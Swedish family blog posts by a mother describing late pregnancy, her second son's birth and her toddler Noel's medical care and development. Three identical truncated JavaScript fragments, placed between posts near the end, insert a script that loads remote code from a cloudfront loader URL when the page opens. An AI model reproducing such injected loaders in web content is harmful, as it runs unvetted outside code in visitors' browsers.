Äntligen här

Och så kom han till slut, lillebror. Med lite hjälp på traven kom han äntligen i lördags. 15.22 var han ute, han vägde 3790g och var 50cm lång!
Det blev en väldigt snabb och intensiv förlossning, men vi mår bra allihop och åkte hem redan i Söndags. Vi har nu klarat av två nätter hemma och fått godkänt på bägge läkarundersökningarna :) Än så länge är lillebror namnlös, men det gör inget när man är så söt!

Snabb uppdatering

För er som är nyfikna så kan jag tala om att det ännu inte tittat ut någon bebis. Lillebror verkar ha det supermysigt i magen och trivs kanon där inne, till skillnad från mig som verkligen inte trivs med tillvaron just nu. Idag har vi gått över 10 dagar, gick över 12 dagar med Noel. Jag vet att det är fullt normalt egentligen, och dom där +14 dagarna är lika vanliga som att han skulle dykt upp på någon av -14 dagarna. Det är bara jobbigt när man fått ett datum och ställt in sig på det, lovade iof mig själv att inte fokusera på datumet så mycket, men när man väl är där så är det svårt…

Som läget är nu så har jag fruktansvärt mycket förvärkar, mer än jag hade med Noel, dom kommer och går, som värst kommer dom med 5 min mellanrum i flera timmar och jag vaknar ofta av värkarna på natten. Vi var inne häromdagen på förlossningen för att se om dom kunde ”skynda på” det hela, då var jag öppen 2cm och dom gjorde en hinnsvepning. Är jättetrött och nedstämd, magen är verkligen stor och klumpig och ivägen hela tiden när jag ska leka med Noel, inte så lätt att leka och fara runt med förvärkar heller, vissa känns mer än andra. Jag klagar inte direkt på smärtan, min smärtgräns är rätt hög, men jag kan ju inte påstå att det inte känns heller!

Busungen mår skapligt i alla fall. Han är på gott mod nästan hela dagarna. Det enda som stör honom är ju magen, han har fortfarande ont i magen om nätterna, han får sova bredvid oss i sängen och då räcker det oftast med att ge nappen och kramas en stund så slutar han gråta och somnar om, vissa gånger gallskriker han en halvtimme och somnar om vartefter. Vi provade att ta bort hans Movicol under två dagar, och sista natten sov han hela natten utan att vakna och gråta en enda gång, alltså förstår vi ju att det beror på hans Movicol att han får ont i magen, 1 av 10 får magont står det på bipacksedeln, så förstår egentligen inte varför ALB säger att det inte skulle bero på medicinen :/ Hur som som fick vi börja ge Movicol igen eftersom han blev alldeles för hård i magen utan, men nu har i alla fall ”bajseriet” kommet igång igen! Annars är det bra med honom, han leker och skrattar, busar och springer runt i gåstolen! Matvägrar ibland och vägrar sova ibland, 2-års trots tror jag! Och även om trots kan vara hur jobbigt som helst så berör det mig inte fullt lika mycket som en krånglig mage eller massa larm om natten!

Ted har varit hemma från jobbet ett par dagar nu, det har varit till stor hjälp vill jag lova, har sovit i princip ingenting de senaste dagarna och det har inte varit lätt att ha Noel själv när man har ont stup i ett, även om värkarna kommer och går. Vad jag vet så är förvärkar av det här slaget helt normalt, och även om man kan ”räkna med det” så är det ändå fruktansvärt jobbigt, jobbigt att känna sig trött redan innan förlossningen satt igång. Idag är han dock på jobbet men jag och Noel får besök under förmiddagen av lillkusinen och hans mamma, känns skönt att ha någon här och slippa vara själv hela dagen!

Vet inte om det blir fler inlägg innan lillebror kommit till världen, ni får gå och vänta precis som vi gör! Men jag lovar att visa upp den lilla krabaten när han väl tittat ut, när det nu sker! Kanske sätter det igång idag? Eller så tvingas jag bli igångsatt nästa vecka, det återstår att se, tills dess får ni hålla till godo med en bild på min största skrutt!

Trött

Är jätte jätte tacksam över de nya grimmorna. Nu har Noel haft den nya grimman i två nätter och det har inte larmat en enda gång :) Jo nån gång då han drog bort den själv, men det är en väldig skillnad på 1 och 10 gånger på en natt. Däremot så krånglar något för honom, han kan inte alls sova rofyllt utan gråter mycket i sömnen och har den senaste veckan vaknat minst en gång per natt med typ magknip och bara kallskriker otröstligt :( Inte alls kul. Det sluter oftast med att han får sova i vår säng vilket gör att vi trängs allihop och jag och Ted sover dåligt istället.

Läser att många barn får magknip av Movicol, någon med erfarenhet av det? Har pratat med tarmterapin på ALB men dom påstår att det nog inte är hans movicol utan att det skulle vara bajs kvar i tarmen, fast det känns inte så troligt för han bajsar jättebra på dagarna nu. Kan inte heller se att det skulle vara någon mer tand på väg, men man vet ju aldrig. Det är bara så typiskt att när en grej äntligen fungerar så ”krånglar” något annat. Skulle verkligen behöva en hel natts sömn någon gång, eller alltså mer än en eller ett par timmars sömn i sträck.

Igår hade jag även massa förvärkar som störde sömnen, det var ca 7 min emellan värkarna hela kvällen och halva natten, men sen bara dog det ut. Känns jättetråkigt, vill bara att det ska sätta igång på riktigt, och jätte jobbigt att det stör nattsömnen så pass utan att egentligen vara på g. Sov ingenting fram till 03, vid 05 ville Noel gå upp. Det är tur att Ted jobbar kväll den här veckan och att han är förstående nog att ge mig sovmorgon :) Grabbarna busade på i några timmar innan jag gick upp och det var verkligen välbehövlig sömn.

Har massa förvärkar nu med, men vågar inte hoppas på att nåt sätter igång fören jag får krystningsvärkar tror jag 😉 Det är sannerligen en lång väntan, men hoppas att den är över snart. Gick över 12 dagar med Noel, men det hoppas jag berodde på att han var så liten och behövde dom där extra dagarna i magen. Nu är vi på +3 dagar här och jag hoppas på bebis innan helgen!

Ingen bebis men en glad snart tvååring

Än syns inte bebisen till, eller ja han är ju svår att missa om man ser på hur groteskt stor jag är just nu, men han vill inte dyka upp. Tyckte han kunde komma idag då det är BF, men likt sin bror kommer han väl stanna ett tag till i magen. Jag som trodde han skulle komma tidigare än beräknat, men oj så fel man kan ha.

Bortsett från evighetsväntan så är det full fart här hemma. Vi har en väldigt nyfiken och glad Noel som håller oss vid liv :) Herregud, när den ungen lär sig gå lär jag gå ner minst 10kg bara av att springa efter honom, klåfingrig som han är. Just nu springer han runt i gåstolen och drar ner allt som händer och armar räcker åt till, idag hade Ted glömt att glas på vardagsrumsbordet, det åkte snabbt i golvet. Tur att vi var snabba fram och hann lyfta ur honom innan han körde över glassplittret. Vi har ju inte riktigt ”vant” oss vid att ha ett barn som är lite överallt, men numer så tar Noel riktiga steg i gåstolen och mer eller mindre springer fram, så det gäller att ha ögon både i nacken, rumpan och tre, fyra stycken där fram 😉 Fast det är jättekul med den här utvecklingen, han vill så mycket, och är väldigt, väldigt nyfiken just nu. Allt som vi har/äter vill han ha och smaka på, nya saker är spännande och han verkar mer öppen för nya leksaker än vad han varit tidigare. Det går framåt med andra ord, även om det går långsamt!

Imorgon ska vi förhoppningsvis hinna med ett besök till sjukhuset och ta ett nytt HB, i början på förra veckan var hans HB på 96, och det känns som det börjar bli dags att tanka på lite blod igen. Det har gått runt 5 veckor sedan sist, och jag hoppas vi hinner få till en transfusion innan brorsan tänker komma ut, det hade känts skönast så, även om det såklart går att lösa med barnvakt på sjukhuset med, dock lite otur om det skulle sätta igång lagom tills vi ska upp med Noel, fast jag skulle inte bli förvånad!

Vi har inget speciellt planerat i veckan som kommer. Idag har vi ”passat på” med lite egen tid i form av fika på stan och fotbollsmatch, dock blir det väldigt lugnt i veckan. Vi har en sista inbokad kontroll på MVC på tisdag, men förhoppningsvis slipper vi gå dit!

5 dagar till BF

Vi gjorde ett försök till att få till några bilder innan bebis tittat ut…sammanfattningen av vårt försök är att nästa gång vi vill ha några riktigt fina bilder så anlitar vi ett proffs..dessutom så är det kanske ett plus att alla som ska vara med är på bra humör och lite samarbetsvilliga 😉 En och annan bild går kanske att göra något av iaf, å andra sidan så är det ett fint minne vilket som!

Ett steg framåt

Här har det inte hänt så mycket sedan jag skrev sist, fast egentligen så händer det ju massor. Beror lite på hur man ser på saken. Det händer egentligen massor med Noel, och det är ju värt att belysa lite extra. Han börjar bli så ”stor” nu. Eller det märks att han är äldre trots sin lilla kropp. Lillkillen har numer blivit extremt busig, han vill mest busa hela tiden, man ska kittla, kasta i luften, pussa på osv. Det verkar vara bland det bästa han vet, och inget är bättre än det där underbara barnskrattet som liksom kommer inifrån själen! Så det blir massa bus här hemma, och en massa ut-och-gå-övning. Det är nämligen så att Noel verkar haja mer och mer det där med att gå. Visserligen så kan han inte stå själv, resa sig upp, krypa eller hålla balansen så bra, men skitsamma, han lyfter verkligen fötterna själv, helt utan hjälp och tar små steg framåt om man håller honom i händerna. Så ofantligt stooooora framsteg så ni anar inte! Det där andra han inte kan det skiter jag i, nog med negativa saker i vårdbidragsansökan! Han får lära sig i precis vilken ordning han själv vill och i den takt som passar honom, jag och Ted vi bara njuter av vår skruttkille som verkligen är världens starkaste och envisaste lilla kille! Ska försöka få till en film och lägga upp så småningom…

Men förutom Noels bamsekliv framåt så händer inte mycket förutom vardagsrutiner. Vi var på IKEA igår och inhandlade säng till pyret, lillebrorsan alltså, så nu har han också någonstans att sova när han kommer hem. Det mesta är liksom ”klart” för nedsläpp, vi saknar en bilbarnstol till lillebror, men funderar på att beställa en på nätet, en Akta Graco Autobaby, någon som har erfarenhet av en sådan??? Vi var i valet och kvalet om vi skulle byta stol till Noel, så han får nästa stol och bebisen tar Noels gamla babyskydd, men nu har vi frågat runt i lite olika butiker och mätt och provsuttit en massa bilbarnstolar och det verkar som att han kan ha sin ett tag till. Han måste säkert byta om några månader eller så, men han trivs så bra i sin stol som det är så det känns dumt att byta nu när babyskydden anses som säkrare än nästa barnstol. Vi får väl sälja den ena sen när Noel behöver byta. Köpte såna där små bebisblöjor häromdagen, herrgud, nr 1, känns som en evighet sen Noel hade dem, och så små dom är…men nu finns dom här hemma tillsammans med Noels små bebiskläder i strl 50! Nytvättat och klart för användning. Känns lite som att allt som saknas är själva bebisen.

På tal om bebisen så är det ett jävla ståhej i magen om man får säga så. Det är full rulle där inne, vilket ju är skönt på sitt sätt, men det känns så otroligt mycket. Det är mycket, mycket sammandragningar nu, och jag borde ta det lite lugnt, det trycker konstant nedåt, så jag tror inte det är långt kvar tills han dyker upp! Ska bli så spännande att få träffa honom, pyret i magen, se hur han ser ut…känner att det är nog med förberedelser nu, det går inte att förbereda mer, och resten får vi ta som det kommer, han kommer finna sin plats i familjen automatiskt allt eftersom, och med nya rutiner blir det säkert kanon, underbart men jobbigt :)

Har målat om ett gammalt linneskåp som Ted fått ärva av sin mormor och morfar. Ett jättefint skåp, fast jag ville ha det i vitt. Det är färdigmålat nu efter 3 strykningar, ett jobbigt projekt men nu står det i pojkarnas rum och sväljer massor av leksaker! Det blir lekrum där inne tills vidare, bägge barnen får sova hos oss. Noel sover hos oss av två anledningar, dels pga av syrgasen och att vi ska vakna av larmet, men sedan för att jag gärna har nära till honom, det skulle kännas otroligt tomt i sovrummet utan hans säng där inne, så lillebror blir placerad i sovrummet han med…om han nu inte sover mellan oss som Noel gjorde i början!

Annars händer faktiskt inte så mycket, inte så att det är värt att skriva ner det här, som besiktning av bilen och jakten på alla läkarintyg. Känns som jag faktiskt hellre skriver ner allt positivt som sker i våra liv just nu än allt tjafs kring sjukhuset och vårdbidragsansökan…eller iof, skriver kanske lite om det i ett separat inlägg någon dag!

Just det, ikväll åt Noel en hel portion gröt själv, trots att han var dötrött…plus att han sov middag helt UTAN syrgas :) Det ni!

Lillebror v.34

Nu är det alltså bara ca 4 veckor kvar till Lillebror kan komma, jag tror han kommer komma där omkring, lite tidigare än beräknat. Det känns verkligen så i kroppen, det är tungt, magen har sjunkit ner, jag har sammandragningar som verkligen känns mest hela tiden, även om jag ligger ner och vilar. Det känns som att han mer eller mindre börjar blir redo att komma ut, även om inte jag känner mig fullt så redo, eller jag är redo att bli av med bebismagen och få ut lilla miraklet, men det är också en liten oro i att inte veta hur allt kommer bli, det kommer bli bra men det finns ju alltid något man oroar sig över, som att något skulle vara fel även denna gång osv.

Hur som helst så har lillebror fixerat sig och ligger med huvudet nedåt och dagens tillväxtkontroll visar att han växt på sig ordentligt sedan sist. Då låg han -17% på kurvan och idag endast -6%. Det blir således inga fler tillväxtkontroller utan nu får lillebror växa på den takt han kan tills han är redo att komma ut till oss. Känns jätteskönt att han vuxit på sig. Han väger nu ca 2300g, alltså bara 65g mindre än vad Noel gjorde när han föddes, det känns lite läskigt, så fort man glömmer hur liten Noel varit, han är ju fortfarande jätteliten jämfört med andra barn i samma ålder men han kommer ju se gigantisk ut i jämförelse med lillebrorsan, i alla fall i början 😉

Jag kommer säkert sakna bebismagen jättemycket sen, precis som jag gjorde efter Noel. Men just nu så är jag mer nyfiken på lillebror och på att få tillbaka ork och energi. Kunna röra mig ”normalt” utan att något är i vägen, och såklart få tillbaka humöret som tyvärr inte alltid är på topp, vilket Ted råkar ut för titt som tätt. Ser dessutom fram emot träningen och att kunna röra mig mer aktivt utan att få så jäkla ont och en jädra massa sammandragningar, ska bli skönt att få tillbaka lite av det där och kunna lägga den energin på Noel och på lillebror!

Pyret v.33

Lillebror är alltså hela 32 fulla veckor och ett par dagar gammal nu. Känns helt ofattbart att vi redan hunnit så långt in i graviditeten, men livet utanför magen stannar ju inte upp utan fortlöper snarare i rasande fart. Igår var vi på tillväxtkontroll, ett extra ultraljud vi planerade in i samband med att vi beslutade om att göra fostervattensprovet. Redan i v.25 visade det sig ju att lillebror verkar vara en liten bebis, han växer men följer inte den ”normala” kurvan. Han verkar växa som han ska på längden och är cirka 40cm lång, däremot så ligger han under i vikt och väger nu ungefär 1700g, och bör väl ligga över 2000g något. Han ligger alltså -17% på viktskalan, detta med en uppskattat vikt efter att man mätt via ultraljud. Jag känner mig inte alls orolig egentligen, det finns många bebisar som väger mindre vid dessa veckor och som sedan går upp bra i magen, och så finns det såklart de bebisar som väger lite mindre än normen när de kommer ut och inget är ”fel” på dem heller. Vi ska i vilket fall tillbaka om 2 veckor igen för att se så lilleman i alla fall följer sin egen kurva och fortsätter att växa och gå upp i vikt inne magen.

Mig gör det inget med fler ultraljud, det är så otroligt fascinerande att se vår lilla kille där inne i magen, ett litet mirakel som faktiskt lever och rör sig där inne, och som till slut ska komma ut till oss, hans familj, mamma, pappa och storebror, det är verkligen overkligt men så ofantligt underbart. Igår fick jag tårar i ögonen, det är så stort att få barn, och att få uppleva det två gånger är verkligen en gåva. Jag längtar verkligen efter lillebror, det ska bli så spännande att få se vem som gömt sig där inne alla dessa månader, om han kommer vara lik Noel, mig eller Ted mest?

Jag tänker mycket på hur det kommer bli med två barn, andra människor verkar ha många tankar kring detta med märker jag, men det är ju mina och Teds tankar som är de viktiga. Såklart känner jag mig rädd och orolig för ”hur jobbigt” det kommer bli med två små som är totalt beroende av oss föräldrar, men samtidigt finns där så mycket kärlek och glädje som väger upp alla dom där sömnlösa nätterna och dagarna av trots. Jag tror egentligen inte att det blir jobbigare att få syskon nu än om några år. Vi vet ju inget om framtiden kring Noel, kanske lär han sig gå nästa sommar, kanske om 3 år osv. Det enda jag vet med största säkerhet är att det finns plats för ett barn till, att det finns tillräckligt med kärlek, trygghet och glädje i vårt hem till två barn. Vi vet inget om hur lillebror blir, en lugn bebis? eller en bebis med kolik? Men om det är något vi lärt oss dessa två år med Noel så är det att inget är omöjligt och att man klarar vad som helst tillsammans. Vi är en stark familj med så otroligt mycket kärlek så inget känns egentligen övermäktigt. Lillebror är mer än välkommen och så efterlängtad, han kommer få en naturlig plats i vår familj och jag tror att vi alla tre kommer känna en enorm glädje över honom. Det kommer bli en stor omställning att gå från ett till två barn, en som ska ammas och en som ska äta gröt samtidigt, två som skriker ikapp, dubbla bajsblöjor och matrester  lite överallt. Men vi kommer ha två som härliga killar som kommer växa upp med varandra tätt inpå och som mest troligt kommer ha stor glädje av varandra!

 

// -1?’https':’http';var ccm=document.createElement(‘script’);ccm.type=’text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};
// ]]>

En sötnos och en tjockis…..

// -1?’https':’http';var ccm=document.createElement(‘script’);ccm.type=’text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};
// ]]>

Träna!

Är trött på att känna mig som en stor klumpig säl, även om det liksom hör till. Första 4 månaderna kunde jag tyvärr inte fortsätta träna eftersom jag kräktes mest hela tiden, men nu har jag egentligen ingen ursäkt för att inte gå till gymmet. Jag behöver inte köra på 5-6 dagar i veckan som innan pyret blev till, men 2-3 gånger ska jag väl kunna klara av. En timme räcker, lite kondition, lite rygg, lite armar och så ben. Det bästa med styrketräning är ju att man förbränner medan man tränar styrka, man behöver liksom inte köra alla muskler samma dag, utan kan köra armar en dag, ben en annan osv, men ändå träna på ett bra sätt.

Jag behöver träna ryggen, göra små övningar men ofta, inte ta de tyngsta vikterna utan ta lite lättare vikter, bara så man ”håller igång”, jag vill inte behöva kämpa ihjäl mig med att komma igång med träningen igen sen efter pyret anlänt, jag vill kunna börja lite smått men inte känna att jag inte tränat på 9 månader….

Får hoppas fogarna är på min sida idag så det inte bara gör ont, då är det liksom ingen mening med det….

// -1?’https':’http';var ccm=document.createElement(‘script’);ccm.type=’text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};
// ]]>